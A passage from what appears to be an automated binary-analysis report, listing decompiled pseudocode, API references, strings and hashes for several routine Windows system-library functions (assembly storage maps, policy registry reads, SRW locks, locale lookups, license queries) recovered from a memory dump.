Instruction ID: fa9f39b661fca772eea347131413edc1ecfd684528e1b3cb3545b0a8121d1220
Opcode Fuzzy Hash: b26dc160889c3c6649b9a4f21270e5e5e6938d0e6e12abcb03b870194b996371
Instruction Fuzzy Hash: 454126302D434BCFEB2E8F1AC5C0B7A73A4EF06309F08C469DA554B646C7A6D496CB12

Uniqueness

Uniqueness Score: -1.00%

Function 6D27CE6C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 131
memoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6D27CE6C(void* __ecx, signed int __edx, signed short* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _t37;
				void* _t54;
				signed int* _t56;
				void* _t58;
				signed int _t59;
				void* _t60;
				intOrPtr _t66;
				signed int _t69;
				void* _t70;
				void* _t73;
				signed short* _t74;
				void* _t75;
				signed int* _t76;

				_t74 = _a4;
				_t54 = __ecx;
				_t37 = __edx;
				_t73 = 0;
				_v12 = __edx;
				if(__ecx == 0 || __edx < 1 || __edx >  *((intOrPtr*)(__ecx + 4))) {
					_t56 = _a8;
					goto L17;
				} else {
					if(_t74 == 0) {
						_t56 = _a8;
						L20:
						_v8 = _v8 & _t73;
						L21:
						if(_t74 == 0) {
							_v12 = _v12 & _t73;
						} else {
							_v12 =  *_t74 & 0x0000ffff;
						}
						if(_t54 == 0) {
							_t66 = 0;
						} else {
							_t66 =  *((intOrPtr*)(_t54 + 4));
						}
						_push(_t56);
						_push(_v8);
						_push(_v12);
						_push(_t74);
						_push(_t66);
						_push(_t37);
						_push(_t54);
						E6D2D5720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Map                    : %p\nSXS:  AssemblyRosterIndex    : 0x%lx\nSXS:  Map->AssemblyCount     : 0x%lx\nSXS:  StorageLocation        : %p\nSXS:  StorageLocation->Length: 0x%x\nSXS:  StorageLocation->Buffer: %p\nSXS:  OpenDirectoryHandle    : %p\n", "RtlpInsertAssemblyStorageMapEntry");
						_t75 = 0xc000000d;
						L12:
						if(_t73 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t73);
						}
						L13:
						return _t75;
					}
					_t69 =  *_t74 & 0x0000ffff;
					_t58 = 2;
					_t56 = _a8;
					if(_t69 < _t58 || _t74[2] == 0 || _t56 == 0) {
						L17:
						if(_t74 == 0) {
							goto L20;
						}
						_v8 = _t74[2];
						goto L21;
					} else {
						_t59 = _t69;
						if(_t59 + 2 > 0xfffe) {
							_t75 = 0xc0000106;
							goto L13;
						}
						_t73 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t59 + 0x12);
						if(_t73 == 0) {
							_t75 = 0xc0000017;
							goto L13;
						}
						 *_t73 =  *_t73 & 0x00000000;
						_t9 = _t73 + 0x10; // 0x10
						_t60 = _t9;
						 *(_t73 + 4) =  *_t74;
						 *(_t73 + 8) = _t60;
						_t70 = 2;
						 *((short*)(_t73 + 6)) =  *_t74 + _t70;
						memcpy(_t60, _t74[2],  *_t74 & 0x0000ffff);
						_t76 = _a8;
						 *((short*)( *(_t73 + 8) + (( *(_t73 + 4) & 0x0000ffff) >> 1) * 2)) = 0;
						 *(_t73 + 0xc) =  *_t76;
						asm("lock cmpxchg [edx], ecx");
						if(0 == 0) {
							_t73 = 0;
							 *_t76 =  *_t76 & 0;
						}
						_t75 = 0;
						goto L12;
					}
				}
			}

0x6d27ce76
0x6d27ce79
0x6d27ce7c
0x6d27ce7e
0x6d27ce80
0x6d27ce85
0x6d2badcd
0x00000000
0x6d27ce9d
0x6d27ce9f
0x6d2baddc
0x6d2baddf
0x6d2baddf
0x6d2bade2
0x6d2bade4
0x6d2badee
0x6d2bade6
0x6d2bade9
0x6d2bade9
0x6d2badf3
0x6d2badfa
0x6d2badf5
0x6d2badf5
0x6d2badf5
0x6d2badfc
0x6d2badfd
0x6d2bae00
0x6d2bae03
0x6d2bae04
0x6d2bae05
0x6d2bae06
0x6d2bae15
0x6d2bae1d
0x6d27cf50
0x6d27cf52
0x6d2bae34
0x6d2bae34
0x6d27cf59
0x6d27cf60
0x6d27cf60
0x6d27cea5
0x6d27ceaa
0x6d27ceae
0x6d27ceb1
0x6d2badd0
0x6d2badd2
0x00000000
0x00000000
0x6d2badd7
0x00000000
0x6d27cec8
0x6d27cec8
0x6d27ced2
0x6d2badc3
0x00000000
0x6d2badc3
0x6d27ceeb
0x6d27ceef
0x6d27cf63
0x00000000
0x6d27cf63
0x6d27cef1
0x6d27cef4
0x6d27cef4
0x6d27cefa
0x6d27cf00
0x6d27cf06
0x6d27cf0a
0x6d27cf16
0x6d27cf27
0x6d27cf2c
0x6d27cf35
0x6d27cf42
0x6d27cf48
0x6d27cf4a
0x6d27cf4c
0x6d27cf4c
0x6d27cf4e
0x00000000
0x6d27cf4e
0x6d27ceb1

APIs

RtlAllocateHeap.1105(?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6D27CEE6
memcpy.1105(00000010,?,00000000,?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6D27CF16
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand,RtlpInsertAssemblyStorageMapEntry,00000040,?,00000000,00000000,00000000,00000002,?,00000040,00000000,?,?,00000000), ref: 6D2BAE15
RtlFreeHeap.1105(?,00000000,00000000,00000040,00000000,?,?,00000000,00000002), ref: 6D2BAE34

Strings

SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand, xrefs: 6D2BAE0C
RtlpInsertAssemblyStorageMapEntry, xrefs: 6D2BAE07

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreePrintmemcpy
String ID: RtlpInsertAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand
API String ID: 3020890669-2104531740
Opcode ID: d1ea8ba0528deb219ef30d4e2876301eae7079388b3bbb46dc4dbe99139f8d26
Instruction ID: b65849108a4194b2403a6ffa28b3747cb745c3fd75b360a70f87a1e97b8c4ca3
Opcode Fuzzy Hash: d1ea8ba0528deb219ef30d4e2876301eae7079388b3bbb46dc4dbe99139f8d26
Instruction Fuzzy Hash: 4841243169061BABD725CF58C880E7AB3B5FF94B56F11802EE9988B240E7B1DD40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6D24E420, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 126
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6D24E420(signed int _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v16;
				char _v20;
				char* _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				char _v49;
				char _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				void* _v69;
				void* _v76;
				void* _v77;
				intOrPtr _t49;
				signed int _t53;
				intOrPtr _t64;
				intOrPtr* _t72;
				void* _t73;
				intOrPtr _t91;
				void* _t93;
				signed int _t95;
				void* _t97;

				_t97 = (_t95 & 0xfffffff8) - 0x34;
				_v40 = 0;
				_v44 = 0;
				_v49 = 0;
				_v48 = 0;
				if(_a8 == 0) {
					L20:
					_t93 = 0xc000000d;
					L5:
					if(_v44 != 0) {
						_push(_v44);
						E6D2895D0();
						_v48 = _v48 & 0x00000000;
					}
					_t49 = _v40;
					if(_t49 != 0) {
						if(_t49 != 0xffffffff) {
							 *0x6d226cc4(_t49);
						}
					}
					return _t93;
				}
				_t72 = _a12;
				if(_t72 == 0) {
					goto L20;
				}
				RtlInitUnicodeString( &_v36, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
				_t53 = _a4;
				if(_t53 == 0) {
					_t93 = E6D24F108(0, _t73, _t73,  &_v48);
					if(_t93 < 0) {
						goto L5;
					}
					_t53 = _v48;
					_v52 = 0;
					_v20 = 0;
					_v16 = 0;
					L4:
					_v32 = _t53;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v52);
					 *((intOrPtr*)(_t97 + 0x40)) = 0x40;
					_t93 = E6D289600();
					if(_t93 >= 0) {
						_t93 = E6D2FD208(_v52, _a8, _t97 + 0x17,  &_v56);
						if(_t93 != 0) {
							goto L5;
						}
						_t91 =  *_t72;
						if(_t91 != 0) {
							if( *(_t91 + 4) >=  *((intOrPtr*)(_t91 + 6))) {
								_t64 = E6D2FDE80();
								L16:
								_t91 = _t64;
								 *_t72 = _t91;
								if(_t91 != 0) {
									goto L19;
								}
								_t93 = 0xc0000017;
								goto L5;
							}
							L19:
							 *((short*)(( *(_t91 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)(_t91 + 0x10)))) =  *(_t97 + 0x13) & 0x000000ff;
							 *((short*)(( *( *_t72 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)( *_t72 + 0x10)) + 4)) = _v56;
							 *( *_t72 + 4) =  *( *_t72 + 4) + 1;
							goto L5;
						}
						_t64 = E6D257608(1, 0, _a8);
						goto L16;
					}
					goto L5;
				}
				_v52 = 0;
				_v20 = 0;
				_v16 = 0;
				goto L4;
			}

0x6d24e428
0x6d24e430
0x6d24e434
0x6d24e438
0x6d24e43c
0x6d24e444
0x6d2a53b6
0x6d2a53b6
0x6d24e4b3
0x6d24e4b8
0x6d2a53c0
0x6d2a53c4
0x6d2a53c9
0x6d2a53c9
0x6d24e4be
0x6d24e4c4
0x6d24e504
0x6d24e507
0x6d24e507
0x6d24e504
0x6d24e4ce
0x6d24e4ce
0x6d24e44a
0x6d24e44f
0x00000000
0x00000000
0x6d24e45f
0x6d24e464
0x6d24e469
0x6d24e4e4
0x6d24e4e8
0x00000000
0x00000000
0x6d24e4ea
0x6d24e4f0
0x6d24e4f4
0x6d24e4f8
0x6d24e479
0x6d24e479
0x6d24e481
0x6d24e489
0x6d24e48a
0x6d24e493
0x6d24e49b
0x6d24e49c
0x6d24e4a9
0x6d24e4ad
0x6d2a5340
0x6d2a5344
0x00000000
0x00000000
0x6d2a534a
0x6d2a534e
0x6d2a5380
0x6d2a5361
0x6d2a5366
0x6d2a5366
0x6d2a5368
0x6d2a536c
0x00000000
0x00000000
0x6d2a536e
0x00000000
0x6d2a536e
0x6d2a5382
0x6d2a5391
0x6d2a53a6
0x6d2a53ad
0x00000000
0x6d2a53ad
0x6d2a5358
0x00000000
0x6d2a5358
0x00000000
0x6d24e4ad
0x6d24e46d
0x6d24e471
0x6d24e475
0x00000000

APIs

RtlInitUnicodeString.1105(?,Software\Policies\Microsoft\Control Panel\Desktop,00000000,00000000,?), ref: 6D24E45F
ZwOpenKey.1105(?,?,?,?), ref: 6D24E4A4
ZwClose.1105(?), ref: 6D24E507
ZwClose.1105(00000000), ref: 6D2A53C4

Strings

@, xrefs: 6D24E49C
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 6D24E455

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$InitOpenStringUnicode
String ID: @$Software\Policies\Microsoft\Control Panel\Desktop
API String ID: 3420387270-3130938041
Opcode ID: 87517566d3cc9aa9dbbb4ee148c7e599d233e372bb5afbc89e6dbac60d0fcf5c
Instruction ID: b74ad065ec1f26c92678db2bbb3e9e0ee14f3a052796bbe8b26762b770857aba
Opcode Fuzzy Hash: 87517566d3cc9aa9dbbb4ee148c7e599d233e372bb5afbc89e6dbac60d0fcf5c
Instruction Fuzzy Hash: 11416C7159830A9FD305CF29C480A6BBBE8FF95354F058A2EF895CB251E770D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6D279ED0, Relevance: 10.6, APIs: 7, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6D279ED0(signed int* __ecx, signed int __edx, intOrPtr _a4) {
				char _v12;
				signed int _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int* _v40;
				char _v41;
				char _v42;
				char _v45;
				char _v46;
				void* __ebx;
				void* __edi;
				signed int _t39;
				signed int _t66;
				char _t70;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				signed int _t93;
				signed int _t94;
				void* _t98;

				_push(_t66);
				_t88 =  *__ecx;
				_t70 = 0;
				_t93 = __ecx[1];
				_v40 = __ecx;
				_t39 = __edx;
				asm("cdq");
				_v41 = 0;
				_v42 = 0;
				_v36 = __edx;
				_v16 = __edx;
				L1:
				while(1) {
					if(_t70 != 0) {
						E6D25FFB0(_t66, _t88, _v40 + 8);
						_v46 = 0;
						L15:
						_t39 = _v36;
						L3:
						_v32 = _t93;
						_v28 = _t88;
						asm("adc eax, esi");
						_t89 = _t88 ^ _t39 + _t88 ^ _t88;
						_t94 = _t93 ^ (_v16 ^ _t93) & 0x0fffffff;
						_t84 = _t94 & 0x0fffffff;
						if((_v32 & 0x80000000) != 0) {
							if((_t89 | _t84) != 0) {
								goto L4;
							}
							_t94 = _t94 & 0x7fffffff;
							_v42 = 1;
							E6D262280(_v40 + 8, _v40 + 8);
							L5:
							_t66 = _t89;
							asm("lock cmpxchg8b [esi]");
							_t88 = _v28;
							_t93 = _v32;
							_t39 = _v36;
							if(_t88 != _v28 || _t93 != _v32) {
								_t70 = _v41;
								continue;
							} else {
								if(_v42 != 0) {
									_t54 = _v40;
									 *((intOrPtr*)(_v40 + 0xc)) = 0;
									E6D25FFB0(_t66, _t88, _v40 + 8);
									_t39 = E6D318858( *((intOrPtr*)(_t54 + 0xc)));
								} else {
									if(_v41 != 0) {
										_t91 = _v40;
										_t98 = _v40 + 0xc;
										E6D318833(_t98,  &_v12);
										E6D26FA00(_t66, _t98, _v40, _t91 + 8);
										_push(0);
										_push(_t98);
										_t39 = E6D28B180();
									}
								}
								return _t39;
							}
						}
						L4:
						if(_a4 != 0) {
							if((_t89 | _t84) == 0) {
								goto L5;
							}
							_t94 = _t94 | 0x80000000;
							_v41 = 1;
							E6D26FAD0(_v40 + 8);
						}
						goto L5;
					}
					if(_t70 != 0) {
						E6D26FA00(_t66, _t70, _t88, _v40 + 8);
						_v45 = 0;
						goto L15;
					}
					goto L3;
				}
			}

0x6d279edf
0x6d279ee2
0x6d279ee4
0x6d279ee6
0x6d279ee9
0x6d279eed
0x6d279eef
0x6d279ef0
0x6d279ef4
0x6d279ef8
0x6d279efc
0x00000000
0x6d279f00
0x6d279f02
0x6d2b9836
0x6d2b983b
0x6d2b9854
0x6d2b9854
0x6d279f10
0x6d279f12
0x6d279f1c
0x6d279f20
0x6d279f26
0x6d279f31
0x6d279f3d
0x6d279f45
0x6d2b9861
0x00000000
0x00000000
0x6d2b986b
0x6d2b9874
0x6d2b987a
0x6d279f51
0x6d279f5b
0x6d279f61
0x6d279f65
0x6d279f67
0x6d279f69
0x6d279f71
0x6d279fa7
0x00000000
0x6d279f79
0x6d279f7e
0x6d2b98a1
0x6d2b98a8
0x6d2b98b3
0x6d2b98ba
0x6d279f84
0x6d279f89
0x6d2b98c4
0x6d2b98cc
0x6d2b98d1
0x6d2b98da
0x6d2b98df
0x6d2b98e1
0x6d2b98e2
0x6d2b98e2
0x6d279f89
0x6d279f95
0x6d279f95
0x6d279f71
0x6d279f4b
0x6d279f4f
0x6d279f9c
0x00000000
0x00000000
0x6d2b9888
0x6d2b9891
0x6d2b9897
0x6d2b9897
0x00000000
0x6d279f4f
0x6d279f0a
0x6d2b984a
0x6d2b984f
0x00000000
0x6d2b984f
0x00000000
0x6d279f0a

APIs

RtlReleaseSRWLockExclusive.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6D2B9836
RtlReleaseSRWLockShared.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6D2B984A
RtlAcquireSRWLockExclusive.1105(?), ref: 6D2B987A
RtlAcquireSRWLockShared.1105(?), ref: 6D2B9897
RtlReleaseSRWLockExclusive.1105(?), ref: 6D2B98B3

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction ID: 491c7192b5524ac932d7557829c9078698f93072ff32cfa753e8cc0a60178cf8
Opcode Fuzzy Hash: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction Fuzzy Hash: 4341C07169C34B8BC724CF28C800B5BB7E5AFD5319F19891DF89497281C674E91887E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D24649B, Relevance: 10.6, APIs: 7, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6D24649B(signed int __ecx, short* __edx) {
				signed int _v8;
				char _v40;
				void* _v80;
				short _v82;
				char _v84;
				long _v88;
				char _v92;
				void* _v96;
				void* _v98;
				void* _v100;
				void* _v104;
				void* _v106;
				void* _v108;
				void* _v112;
				void* _v120;
				void* _v122;
				void* _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t37;
				short _t41;
				void* _t43;
				short _t45;
				void* _t65;
				short* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				signed int _t77;
				signed int _t79;

				_t69 = __edx;
				_t79 = (_t77 & 0xfffffff8) - 0x5c;
				_v8 =  *0x6d33d360 ^ _t79;
				_t71 = __edx;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				if(__edx == 0) {
					_t37 = 0xc000000d;
					L7:
					_pop(_t72);
					_pop(_t74);
					_pop(_t65);
					return E6D28B640(_t37, _t65, _v8 ^ _t79, _t69, _t72, _t74);
				}
				_t75 = __ecx & 0x0000ffff;
				 *__edx = 0;
				_v80 =  &_v40;
				_t41 = 0x1e;
				_v82 = _t41;
				_t43 = E6D254720(__edx, __ecx & 0x0000ffff,  &_v84, 2, 0);
				if(_t43 < 0) {
					if(_t43 == 0xc0000023) {
						_v80 = 0;
						_v82 = 0;
						_t43 = E6D254720(__edx, _t75,  &_v84, 2, 1);
					}
					if(_t43 >= 0) {
						goto L2;
					} else {
						_t76 = 0xc000000d;
						L4:
						if(_v88 != _t79 + 0x24) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						if(_v88 != _t79 + 0x44) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						_t37 = _t76;
						goto L7;
					}
				}
				L2:
				_v88 = _t79 + 0x28;
				_t45 = 0x1e;
				 *((short*)(_t79 + 0x16)) = _t45;
				_t76 = E6D252EB0(_t69, _v80,  &_v92, 6, 0);
				if(_t76 < 0) {
					if(_t76 == 0xc0000023) {
						_v88 = 0;
						 *((short*)(_t79 + 0x16)) = 0;
						_t76 = E6D252EB0(_t69, _v80,  &_v92, 6, 1);
					}
					if(_t76 < 0) {
						goto L4;
					} else {
						goto L3;
					}
				}
				L3:
				if(0 != _v92) {
					_t76 = E6D254570(_t69, _v88, _t79 + 0x24, 3);
					if(_t76 >= 0) {
						 *_t71 =  *((intOrPtr*)(_t79 + 0x20));
					}
				}
				goto L4;
			}

0x6d24649b
0x6d2464a3
0x6d2464ad
0x6d2464b6
0x6d2464b8
0x6d2464bc
0x6d2464c0
0x6d2464c4
0x6d2464ca
0x6d2a1905
0x6d246550
0x6d246554
0x6d246555
0x6d246556
0x6d246561
0x6d246561
0x6d2464d2
0x6d2464d5
0x6d2464de
0x6d2464e2
0x6d2464e4
0x6d2464f1
0x6d2464f8
0x6d2a1914
0x6d2a1918
0x6d2a191e
0x6d2a192b
0x6d2a192b
0x6d2a1932
0x00000000
0x6d2a1938
0x6d2a1938
0x6d246532
0x6d24653a
0x6d2a1984
0x6d2a1984
0x6d246548
0x6d2a199c
0x6d2a199c
0x6d24654e
0x00000000
0x6d24654e
0x6d2a1932
0x6d2464fe
0x6d246504
0x6d246508
0x6d24650a
0x6d24651f
0x6d246523
0x6d2a1948
0x6d2a194c
0x6d2a1952
0x6d2a1967
0x6d2a1967
0x6d2a196b
0x00000000
0x6d2a1971
0x00000000
0x6d2a1971
0x6d2a196b
0x6d246529
0x6d246530
0x6d246572
0x6d246576
0x6d24657d
0x6d24657d
0x6d246576
0x00000000

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000), ref: 6D2464F1
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6D24651A
RtlLocaleNameToLcid.1105(?,00000006,00000003,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6D24656D
RtlLcidToLocaleName.1105(?,?,00000002,00000001,?,?,00000002,00000000), ref: 6D2A192B
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000001,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6D2A1962

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleName$Lcid$Parent
String ID:
API String ID: 3691507993-0
Opcode ID: 7088bdabc8044ff4ee5f907a3a5d05bf8e2f41ea4c79c7f50a60d53b1dc607f8
Instruction ID: 75d055fe86e424c9f2ecdde68685ccea8dbb07a42862f3ee67795a7af977d8d7
Opcode Fuzzy Hash: 7088bdabc8044ff4ee5f907a3a5d05bf8e2f41ea4c79c7f50a60d53b1dc607f8
Instruction Fuzzy Hash: 67418E3259C30A9ED312CF24D880A9BB6E9FF88B55F01492AB990D7250E730CE548BD3

Uniqueness

Uniqueness Score: -1.00%

Function 6D274020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110
nativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D274020(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				intOrPtr* _t43;
				char _t69;
				intOrPtr _t76;
				intOrPtr* _t78;

				_t78 = _a4;
				_t69 = 0;
				_t76 =  *[fs:0x30];
				_v32 = 0;
				_v28 = 0;
				_v12 = 0;
				 *((intOrPtr*)(_t78 + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(_t78 + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(_t78 + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				 *((intOrPtr*)(_t78 + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t43 =  *((intOrPtr*)(_t76 + 0x1f4));
				if(_t43 == 0 ||  *_t43 == 0) {
					 *((short*)(_t78 + 0x14)) = 0;
				} else {
					if(E6D254921(_t78 + 0x14, 0x100, _t43) < 0) {
						 *((short*)(_t78 + 0x14)) = 0;
					}
					_t69 = 0;
				}
				if( *_t78 != 0x11c) {
					if( *_t78 != 0x124) {
						goto L10;
					}
					goto L4;
				} else {
					L4:
					 *((short*)(_t78 + 0x114)) =  *(_t76 + 0xaf) & 0x000000ff;
					 *(_t78 + 0x116) =  *(_t76 + 0xae) & 0x000000ff;
					 *(_t78 + 0x118) = E6D274190();
					if( *_t78 == 0x124) {
						 *(_t78 + 0x11c) = E6D274190() & 0x0001ffff;
					}
					 *((char*)(_t78 + 0x11a)) = _t69;
					if(E6D274710( &_v16) != 0) {
						 *((char*)(_t78 + 0x11a)) = _v16;
					}
					RtlInitUnicodeString( &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
					_push( &_v24);
					_push(4);
					_push( &_v12);
					_push( &_v20);
					_push( &_v32);
					if(E6D28A9B0() < 0) {
						L10:
						return 0;
					} else {
						if(_v12 == 1) {
							if(_v20 != 4 || _v24 != 4) {
								goto L9;
							} else {
								goto L10;
							}
						}
						L9:
						 *(_t78 + 0x118) =  *(_t78 + 0x118) & 0x0000ffef | 0x00000100;
						if( *_t78 == 0x124) {
							 *(_t78 + 0x11c) =  *(_t78 + 0x11c) & 0xfffdffef | 0x00000100;
						}
						goto L10;
					}
				}
			}

0x6d27402a
0x6d27402d
0x6d274030
0x6d27403c
0x6d27403f
0x6d274042
0x6d27404b
0x6d274054
0x6d27405e
0x6d274067
0x6d27406a
0x6d274072
0x6d27407f
0x6d2b63db
0x6d2b63e8
0x6d2b63ec
0x6d2b63ec
0x6d2b63f0
0x6d2b63f0
0x6d274089
0x6d27414e
0x00000000
0x00000000
0x00000000
0x6d27408f
0x6d27408f
0x6d27409b
0x6d2740ac
0x6d2740bd
0x6d2740c6
0x6d27415f
0x6d27415f
0x6d2740cf
0x6d2740dd
0x6d2740e2
0x6d2740e2
0x6d2740f1
0x6d2740f9
0x6d2740fa
0x6d2740ff
0x6d274103
0x6d274107
0x6d27410f
0x6d27413f
0x6d274145
0x6d274111
0x6d274115
0x6d2b63fb
0x00000000
0x6d2b640b
0x00000000
0x6d2b640b
0x6d2b63fb
0x6d27411b
0x6d274132
0x6d27413b
0x6d274177
0x6d274177
0x00000000
0x6d27413b
0x6d27410f

APIs

RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D2740B3
RtlGetNtProductType.1105(?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D2740D6
RtlInitUnicodeString.1105(?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D2740F1
ZwQueryLicenseValue.1105(?,?,?,00000004,?,?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D274108
RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D274155

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 6D2740E8

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: MaskSuite$InitLicenseProductQueryStringTypeUnicodeValue
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 2592082795-996340685
Opcode ID: 09ec58fa160703ddca11c18c40f25fa6a3498fade074cc915808d5bf3ce92b56
Instruction ID: 79aff25d8e51ad0edcb2b0128f4625091e15699d6a8bca04fd920348861cbb9c
Opcode Fuzzy Hash: 09ec58fa160703ddca11c18c40f25fa6a3498fade074cc915808d5bf3ce92b56
Instruction Fuzzy Hash: BB418075A9474E9AC735DFA4C441AEAF7F8EF59305F00483ED6A9C3240D330A546CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D313E22, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
nativeCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E6D313E22(void* __ecx, signed char _a4, signed short _a8) {
				char _v8;
				intOrPtr _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				signed int _t18;
				intOrPtr _t24;
				signed char _t32;
				intOrPtr _t37;

				_t18 = _a8 & 0x0000ffff;
				if(_t18 == 0) {
					L7:
					_t37 = 6;
					goto L8;
				} else {
					_t32 = _a4;
					if((_t32 & 0x00000001) != 0 || _t18 !=  *((intOrPtr*)(_t32 + 0x34))) {
						goto L7;
					} else {
						_v20 =  *((intOrPtr*)(_t32 + 0x30));
						_push( &_v8);
						_push(0);
						_push(0);
						_push(8);
						_t9 =  &_v20; // 0x6d335338
						_v16 = 0;
						_push(0x1a);
						_t24 = E6D28B0B0();
						if(_t24 != 0) {
